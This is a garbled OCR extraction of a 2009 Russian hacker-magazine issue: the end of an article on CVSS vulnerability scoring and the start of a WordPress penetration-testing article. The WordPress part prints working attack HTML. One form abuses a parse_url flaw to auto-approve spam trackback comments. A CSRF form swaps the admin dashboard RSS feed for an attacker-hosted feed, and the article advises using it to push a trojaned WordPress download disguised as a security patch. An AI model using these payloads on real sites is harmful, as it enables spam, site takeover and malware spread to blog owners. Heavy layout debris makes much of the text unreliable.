книги хакеры / журнал хакер / 124_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
|
|
|
взлом |
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
||||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
t |
|
||
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ПодсчитанноезначениеBase Score дляуязвимостивMicrosoft Windows |
Всесамоеинтересноеивкусноераспространяетсятолькоплатно |
Kernel GDI |
|
Существуеточеньмноговидовсистемибаздляучетауязвимостей. Мно- |
|
гиеизнихсовместимысCVE |
BID указываетлишьнесколькохарактеристикосвойствахуязвимости |
|
|
соседнейсетинетребуется. Такиеуязвимостичастоназывают |
|
|
эксплуатируемымиудаленно. Примеромтакойсетевойатаки |
|
|
служитпереполнениебуфераRPC. |
|
|
Access Complexity: Low — сложностьдоступакресурсу: |
|
|
низкая. Дляэксплуатацииспециальныхусловийиособых |
|
info |
обстоятельствнетребуется— всестандартно, шаблонно, |
|
Истинныекорни |
общедоступно. |
|
созданияединой |
Authentication: None — дляэксплуатацииненужнаавтори- |
|
классификации |
зация. Например, еслибыэтобылсервис, которыйтребует |
|
баговиихконт- |
предварительнойавторизациипокакой-нибудьмудреной |
|
роля— этоUnix |
схеме(смарт-карты, ключи, токены), тозначениеэтого |
|
Known Problem |
векторабылобыдругим. |
|
List, Internal Sun |
Confidentiality Impact: None — влияниенаразглашение |
|
Microsystems Bug |
критичнойинформации. Integrity Impact: None — нару- |
|
List, каталогислужб |
шениецелостности. Понятие«целостность» связано |
|
реагированияна |
сдостоверностьюиточностьюинформации. Еслибыу |
|
компьютерные |
злоумышленникабылавозможностьмодификациифайлов, |
|
инцидентыCERT |
измененияобластиисполненияфайлов, томыбыпостави- |
|
раннихверсий. |
лиздесьC (полное) илиP (частичное, от«partial»). |
|
|
Availability Impact: Complete — атаки, потребляющиепро- |
|
|
пускнуюспособностьсети, циклыпроцессораилидисковое |
|
|
пространство, которыевлияютнадоступностьсистемы. |
|
|
Еслиэксплуатацияуязвимостивызываетотказвобслужи- |
|
|
вании, тоAvailability Impact имеетзначение«Complete». |
|
|
|
ВРЕМЕННАЯМЕТРИКА |
|
|
|
|
|
|
|
Болееглубокиманализомзанимаютсявременныеи |
|
|
контекстныеметрики. Деловтом, чтоописанныевекторы |
|
|
базовойметрикисовременемнеменяются. Онипостоян- |
|
|
ныимогутхарактеризоватьуязвимостьпоназначениюи |
|
|
опасности. Акакиекритериимогутизменятьсястечением |
|
|
времени? Представь, чтотынашелкритическуюуязвимость |
иуведомилразработчика. Временнойинтервалисправленияуязвимостивтакомслучаеимеетзначение, даик томуже, самизменяетсявовремени(этоможетбытьдень, час, либопроизводительвообщеникакнеотреагирует). Илиситуация, когдатвойдругнаписалбоевойэксплойтна недавнююуязвимость«нулевогодня». Какдолгоэтоткод будетактуален? Онускоритрискэксплуатации, следовательно, долженучитыватьсяприееописании. Доступнали будетеготехнологиякзавтрашнемудню? Навсеэтивопросыотвечаютвременныеметрики. Рассмотримнекоторыеих векторы.
Exploitability (E) — возможностьэксплуатации. Пожалуй, одинизважнейшихкритериев. Речьидетконкретноо доступностисредства(кода, эксплойта, технологии), которое успешноработает. Важноучитыватьито, чтодоступный эксплойтможноиспользоватьдалеконевсегда. Используемыеописательныефлаги: U (недоступенилинепроверен), Proof-of-Concept (POC — опубликовананаглядная демонстрацияуязвимости), F (функциональный, ирабочий эксплойтутебявруках), H («high risk» всейтемы, чаще всегохарактерендлячервейилидляуязвимостейсшироко популярнымописанием), ND (безразницы, векторметрики невлияетниначтосущественное, поэтомуучитыватьего ненадо). Remediation Level (RL) — уровеньисправления. Голосуязвимостиуслышалвесьсвет, воттолькокакпоступят разработчики? Поройонипростомолчат, потомучтоихуже неосталосьвживых(простите, зацинизмичерныйюмор), а иногдаабсолютносторонниеорганизацииинеофициальные источникиначинаютзаботитьсяобезопасностинапервый взглядчужихпродуктовиоперативнописатьзаплатки. Report Confidence (RC) — степеньдостоверностиотчета. Сколькослуховиразговоровкрутитсявокруг! Банальный
050 |
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Выводхарактеристикссайтаosvdb.org. Невсегдаавторамизвестноо наличиибоевогокодавприроде, чтозатемняетподробностиуязвимости
НаофициальномсайтеНациональнойбазыданныхуязвимостей естьвозможностьпоискапокритериямCVSS
Еслитызаметил, мыобращалиськновойредакцииCVSS (2). Существует ещеипервая, облегченнаяверсия, неучитывающаямногихпараметров. Темнеменее, онапригоднакиспользованиюинамногопроще. ПосчитатьBase Score длянееможноспомощьюсервисанаофсайтеNVD
пример: человекнаписалинформациюякобы |
частьсетевогооборудованияперегревается, |
PCI,FISMA,GLBAилиHIPAA)администраторупре- |
|||
орабочейкритическойуязвимости. Анаделе |
несправляясьсработой, ивыходитизстроя. Но |
доставляетсявозможностьполучитьшаблонный |
|||
оказалось, чтоэтопрограммныйдефекти |
приэтомущербоказываетсянезначительным |
отчет,соответствующийдокументу,издаваемому |
|||
ничегосущественногособойнепредставляет. |
из-занизкойстоимостиустройстваиегораспо- |
аудитором.Явстречалтакоевсовременныхскане- |
|||
Подтвержденалиуязвимостьэкспертамиили |
ложения(внезащищаемыхиважныхобъектов). |
рахбеспроводнойбезопасности,типаAirMagnet, |
|||
жеэтопростопроделкихакерскихслухов? Ответ |
Target Distribution (TD) — плотностьцелей. |
атакжедорогихкоммерческихсканерахвродеISS |
|||
наэтотвопросдаствекторReport Confidence. |
Влияетлиуязвимостьтольконаоднуцель, либо |
SecurityScanner.Поройсканерыбезопасности |
|||
Параметрывсехуказанныхвекторовградиру- |
сеепомощьюможнопоработитьогромное |
прибегаюткиспользованиюсобственногоразде- |
|||
ютсявариантами«да/нет/возможно». |
числомашин? Еслиэтостендовоепоказатель- |
лениябрешейпоID.Подобнаяпрактикаприменя- |
|||
|
|
ноевыступление, лабораторныйпрактикумили |
етсявNessus,которыйтакисмениллицензиюна |
||
|
КОНТЕКСТНАЯМЕТРИКА |
эксплуатациянамашине, изолированнойот |
полукоммерческую. |
||
|
|||||
|
|||||
Этигруппывекторовотражаютвлияниена |
других, тозначениеэтоговектораравнонулю. |
|
|
||
средупользователяиизучаютповедение |
|
ИСПОЛЬЗОВАНИЕ |
|
ОТДЕЛЬНЫЕКЛАССИФИКАЦИИ |
|
|
|
||||
|
|
||||
послеэксплуатацииуязвимости. Какправило, |
|
ПодчасвСетиможнозаметитьабсолютно |
|||
|
|||||
|
|||||
метрикаиспользуетсявкачестведополнения |
КЛАССИФИКАТОРОВВСКАНЕРАХ |
самопальныеклассификации, вродеCommon |
|||
кбазовой. Collateral Damage Potential (CDP) |
Современныеавтоматизированныеаудиторы |
Criteria Web Application Security Scoring |
|||
— вероятностьнанесениякосвенногоущерба. |
принятозатачиватьподкакую-либоконкретную |
(CCWAPSS) 1.1. Естественно, большоговеса |
|||
Описываетэкономическиеилитехническиепо- |
базузнаний.Во-первых,этопрестижно,во-вторых |
такаясистеманеимеет, потомучтосоставлять- |
|||
тери. Скажем, намвстретитсяуязвимость, при- |
—полезно.Кпримеру,приподготовкекаттестации |
сяонадолжнареальнымиэкспертами, которые |
|||
водящаякDoS-атаке. Послеееэксплуатации |
поодномуизсовременныхстандартов(NERC-CIP, |
понимаютсутьпроблемы. |
Список «междоусобной» совместимости систем классификаций
CVE: ISS, BID, Secunia, SecurityTracker, OSVDB
BID: CVE, Bugtraq, ISS, Secunia, SecurityTracker, OSVDB ISS: CVE, BID, Secunia, SecurityTracker, OSVDB Secunia: CVE, OSVDB
SecurityTracker: CVE, OSVDB, Nessus Nessus: CVE, BID, OSVDB
OSVDB: CVE, BID, Secunia, SecurityTracker, ISS, Nessus, Snort
ТАКЛИОНОВСЕВАЖНО?
Безусловно, кделуследуетподходитьбезфанатизма. Впервуюочередь, подобныесистемы классификациинацеленынаэкспертноезвено либоспециалистов, которыезаботятсяосвоевременномустранениибрешей. Но, намой взгляд, каждыйуважающийсебяхакердолжен знатьипониматьобщепринятыеклассификацииуязвимостей, разбиратьсявметрикахи ихвекторах, чтобычеткоияснопредставлять формулуоценкивсехнедавновзломанныхим ресурсов. z
XÀÊÅÐ 04 /124/ 09 |
051 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
w Click |
|
BUY |
>>m |
||||||
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
взлом |
w |
|
|
to |
|
|
|
|
|
||
|
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
|
o |
m |
||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
АНДРЕЙ «SKVZ» КОМАРОВ
/ KOMAROV@ITDEFENCE.RU /
WordPress:
ТЕСТ НАПРОНИКНОВЕНИЕ
ПОЛНЫЙ АНАЛИЗМАЛОИЗВЕСТНЫХУЯЗВИМОСТЕЙРАСКРУЧЕННОГОДВИЖКА
WorldPress— без преувеличения, самый популярный движок во всех «интернетах» (по запросу «Powered by WordPress» Гугл выдает 74 400 000 результатов!). Движок писался с расчетом на то, чтобы любая «домохозяйка» смогла им воспользоваться. Так и получилось: знаменитая «5-минутная установка», средства защиты от спама, визуальный редактор, seo-friendly ссылки и многие другие фичи сделали свое дело. Но все ли в порядке у этого великолепия с элементарной безопасностью?
>> взлом
Впредыдущихномерах][ яуженеразподнималтемубезопасности
WordPress. Вкратцевернемсякпройденномуисистематизируемтвои знания.
Итак, последняямало-мальскисерьезнаяSQL-инъекциябыланайдена в2.2.2 версиидвижка28 июляужедалекого2007 годанекимAlexander Concha (неповезлочеловекусфамилией). Небудемподробнонаней останавливаться, ноеслитыинтересуешьсяисторией, смотриссылкуна advisory всносках.
Идемдалее. Вовсехверсияхдвижка, до2.3.3 версиивключительно, присутствуетXSS-уязвимостьвмодулефильтрацииhtml kses (вспомнитьонейтебепоможет, например, январскийномержурнала). Уязвимостьможнобылобысчитатьдостаточносерьезной, еслибынеодно но: админунадонажатьнассылкусоченьподозрительнымадресом, что произойдет, толькоеслиадмин— полный«чайник».
Стоитупомянутьонашумевшейвсвоевремяуязвимости«Charset Remote SQL Injection» (версии<=2.3.3), которуюясчитаюпсевдо-уязви-
мостью. Почему? Потомучтовнастройкахблогаискусственнодолжна бытьвыставленакодировкаMySQL «GBK» либо«BIG5». Атакогосчастливогосовпаденияяниразуневстречалзавсюсвоюмноголетнюю практикуработысдвижком.
Ещеоднапрезабавнейшаябага— «WordPress <=2.3.2 ‘xmlrpc.php’ Post Edit Unauthorized Access Vulnerability» (читай онейводномизпро-
шлогодних«FAQ United»), котораяпозволяетпользователямсправами «subscriber» редактироватьпостыдругихпользователей. Всебыхорошо, еслибыпостынесваливалисьв«draft», тоесть— неопубликованныечерновики. Такчто, оставимэтубагудляистории.
Говоряо2.3.x ветке, нельзянеупомянутьобаге«WordPress ‘cat’ Parameter Directory Traversal Vulnerability», окоторойятакжерасска-
зывалвFAQ. Багаудивительнасвоейпростотой, ноиспользование омрачаеттотфакт, чтоработаетонатольконаWindows-платформах. Последняядостойнаявниманияуязвимость— это«SQL Column Truncation (Admin Takeover)», почитатьокоторойтысможешьвмоей прошлогоднейстатье«Неслучайныечисла».
Замечу, что пользоваться ей крайне тяжело, ведь сгенерировать две rainbow таблицы по 40 и 80 Гб соответственно (ну, или подождать 2-4 дня), необходимых для работы эксплойта, не каждому под силу.
«Иэтовсе?» — удивишьсяты. Нет, дорогойчитатель. Пришлапора рассказатьтебеонедоконцаописанных, малоизвестных, либосовсем неизвестныхуязвимостях.
052 |
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
>> взломw Click |
|
BUY |
|
|
|||||||||||
w Click |
to |
|
|
|
|
|
m |
to |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
WORDPRESS COMMENTS HTML SPAM VULNERABILITY |
|
|
|
|
|
||
|
|
|
|
|
|
|
$str = mb_strcut( $str, 0, $count ); |
|
||||
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
||||||
|
|
|
|
Передтобойперваянеопубликованнаяуязвимость, которуюяназвал |
|
|
// remove part of an entity at the end |
|
||||
|
|
|
|
«WordPress Comments Html Spam Vulnerability». |
|
|
$str = preg_replace( '/&[^;\s]{0,6}$/’, '', $str ); |
|
||||
|
|
|
|
Уязвимостьзатрагиваетвсеверсиидвижка, начинаяот1.5 изаканчивая |
|
|
return $str; |
|
||||
|
|
|||||||||||
|
|
|
|
последней(намоментнаписаниястатьи) 2.7.1. |
|
} |
|
|
||||
|
|
|
|
Заглянемвисходникивордпресса. Открывайфайл./wp-includes/ |
|
|
|
|
|
|||
|
|
|
|
|
Казалосьбы, передатьссылкуздесьневозможно. Нонерадивыеразра- |
|||||||
|
|
|
||||||||||
|
|
|
|
comment.php инаходиследующийкод: |
|
|||||||
|
|
|
|
|
|
|
|
|
ботчикиснованеучлинескольконюансов: |
|||
|
|
|
|
|
function check_comment($author, $email, $url, $comment, |
|
1. strip_tags() успешнопропускаетчерезсебятегивроде«<br/>» (тоесть, |
|||||
|
|
|
|
|
$user_ip, $user_agent, $comment_type) { |
|
содержащиепробелы); |
|||||
|
|
... |
|
|
|
2.kses-фильтрыуспешнонормализуютhtml-теги, содержащиевсебе |
||||||
|
|
|
|
|
if ( 'trackback' == $comment_type || 'pingback' == |
|
этисамыепробелы. |
|||||
|
|
|
|
|
$comment_type ) { // check if domain is in blogroll |
|
Исходяизэтойинформации, можнопридуматьконечныйэксплойт: |
|||||
|
|
|
|
|
$uri = parse_url($url); |
|
|
|
|
|
||
|
|
|
|
|
$domain = $uri['host']; |
|
|
<html> |
|
|||
|
|
|
|
|
$uri = parse_url( get_option('home') ); |
|
|
<form action="http://lamer.com/wp/wp-trackback. |
|
|||
|
|
|
|
|
$home_domain = $uri['host']; |
|
|
php?p=[ID_ПОСТА]" method="post"> |
|
|||
|
|
|
|
|
if ( $wpdb->get_var($wpdb->prepare("SELECT |
|
|
Тайтл: <input name=»title» value="commenter"/><br/> |
|
|||
|
|
|
|
|
link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT |
|
|
URL:<input name="url" value="http://%/la.com"/><br/> |
|
|||
|
|
|
|
|
1", '%'.$domain.'%')) || $domain == $home_domain ) |
|
|
Comment:<input name="excerpt" value=""/><br/> |
|
|||
|
|
|
|
|
return true; |
|
|
<input name="blog_name" value=»Blog" /><br/> |
|
|||
|
|
|
|
|
else |
|
|
<input type="submit" value="ok"/> |
|
|||
|
|
|
|
|
return false; |
|
|
</form> |
|
|||
|
|
} |
|
|
|
|
</html> |
|
||||
|
|
... |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
} |
|
|
|
Гдевполе«Comment» вставляем: |
|
|||||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Вчемсмыслэтогокода? |
|
|
|
|
|
|||
|
|
|
|
|
|
< b >< a href="http"//ya.ru">Купить слона< / a >< / b > |
|
|||||
|
|
|
|
1.Блог«смотрит» наURL трэкбека, парситегоспомощьюparse_url (под- |
|
|
|
|
|
|||
|
|
|
|
робноотом, чтотакоеTrackback, смотривмоейпрошлогоднейстатье |
|
Витоге, нанужномблогемыполучимзааппрувленныйкомментарийс |
|
|||||
|
|
|
|
«Спамомповебу»). |
|
выделеннойжирнойссылкой«Купитьслона». Единственноезамечание: |
|
|||||
|
|
|
|
2.Еслихосттрэкбэкаприсутствуетвблогролле(сборникссылокнатвоем |
|
этотспособвSEO годентолькодляYahoo, Яндекса, MSN, таккаквкоде |
|
|||||
|
|
|
|
блоге), тофункцияcheck_comment() вернетtrue. |
|
ссылкидобавляетсяrel=«nofollow», благодарячемувсемогущийГугл ее |
|
|||||
|
|
|
|
3. Есликомментарийуспешнопроходитчерезcheck_comment(), то |
|
|
|
|
||||
|
|
|
незасчитывает. |
|||||||||
|
|
|
|
сразуначинаетотображатьсяподпостом. Ежелинет— долженпройти |
|
|
|
|
|
|||
|
|
|
|
премодерацию. |
|
|
ПОДМЕНАRSS-ФИДОВВDASHBOARD |
|||||
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|||||||
|
|
|
|
Вэтомзанимательномкодеестьодиннюанс. РазработчикиWordPress |
|
Вконцепрошлогогодаянашелещеодинзанимательныйбагв |
||||||
|
|
|
|
просто-напростонезнают, какработаетфункцияparse_url. |
|
WordPress, которыйзаключалсявподменеRSS-лентнаглавнойстрани- |
||||||
|
|
|
|
Цитатасhttp://www.php.net/parse_url: «This function is not meant to |
|
цеадминкиблога. Итак, вDashboard содержатсяследующиелентыно- |
||||||
|
|
|
|
validate the given URL». |
|
востей: новостиплагинов, incoming links, новостиdevblog c wordpress. |
||||||
|
|
|
|
Этисловаподразумевают, чтоparse_url() элементарнонепроверяет |
|
org иновости«ПланетыWordPress». Начинаясверсии2.5, ккаждому |
||||||
|
|
|
|
валидностьпереданногоадреса! Мыможемпередатьвнеечто-товроде |
|
фидуприкрепленакнопочка«Edit», чтопозволяетадминистраторублога |
||||||
|
|
|
|
«http://%/suck_wordpress», врезультатечегопеременная$uri[‘host’] |
|
редактироватьэтипресловутыефиды, заменяяихналюбыесвои. Но |
||||||
|
|
|
|
станетравной«%». |
|
разработчикисновапроморгалитотфакт, чтовфункцииредактирования |
||||||
|
|
|
|
Далее, кактыужедогадался, нашevil-хостпереместитсявsql-запрос, |
|
фидовнесуществуетникакойпроверкиправ(вкоторыйразпоража- |
||||||
|
|
|
|
которыйприметследующийвид: |
|
юсьневнимательностидевелоперов). Теперьсмотри. Скопируйленту |
||||||
|
|
|
|
|
|
|
|
|
новостейсдевблогаофициальногосайтавордпресса, затемвставьв |
|||
|
|
|
|
|
"SELECT link_id FROM wp_links WHERE link_url LIKE ‘%%%’ |
|
неевкачествепервогопостаобъявлениеоsecurity-патче(илипросто |
|||||
|
|
|
|
|
LIMIT 1" |
|
новойверсии) блога. Впосте(естественно, вссылкенаскачку) укажи |
|||||
|
|
|
|
|
|
|
|
|
свойпротрояненныйдистрибутиввордпресса. Затемположиподго- |
|||
|
|
|
|
Таккакэтотзапросвсегдабудетвозвращатьtrue, нашспам-коммента- |
||||||||
|
|
|
|
|
товленныйфиднакакой-нибудьсерверииспользуйэтотhtml-коддля |
|||||||
|
|
|
|
рийаприорибудетсчитатьсязааппрувленным:). |
|
подменырсс-лентыдевблоганасвою: |
||||||
|
|
|
|
Ноиэтоещеневсе! Дляработыстрекбекомиспользуетсяфайл./wp- |
|
|
|
|
|
|||
|
|
|
|
trackback.php, вкоторомнашетелокомментария($excerpt) попадаетв |
|
|
<form action="http://lamer.com/wp265/wp-admin/" |
|||||
|
|
|
|
такуюфункцию: |
|
|
method="post"> |
|||||
|
|
|
|
|
|
|
|
|
|
<input name="widget-rss[1][url]" type="text" |
||
|
|
|
|
|
function wp_html_excerpt( $str, $count ) { |
|
|
value="http://ссылка_на_наш_evilrss.com/feed.xml" /> |
||||
|
|
|
|
|
$str = strip_tags( $str ); |
|
|
<input name="widget-rss[1][title]" type="text" |
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
XÀÊÅÐ 04 /124/ 09 |
053 |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
w Click |
|
BUY |
>>m |
||||||
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
взлом |
w |
|
|
to |
|
|
|
|
|
||
|
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
|
o |
m |
||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
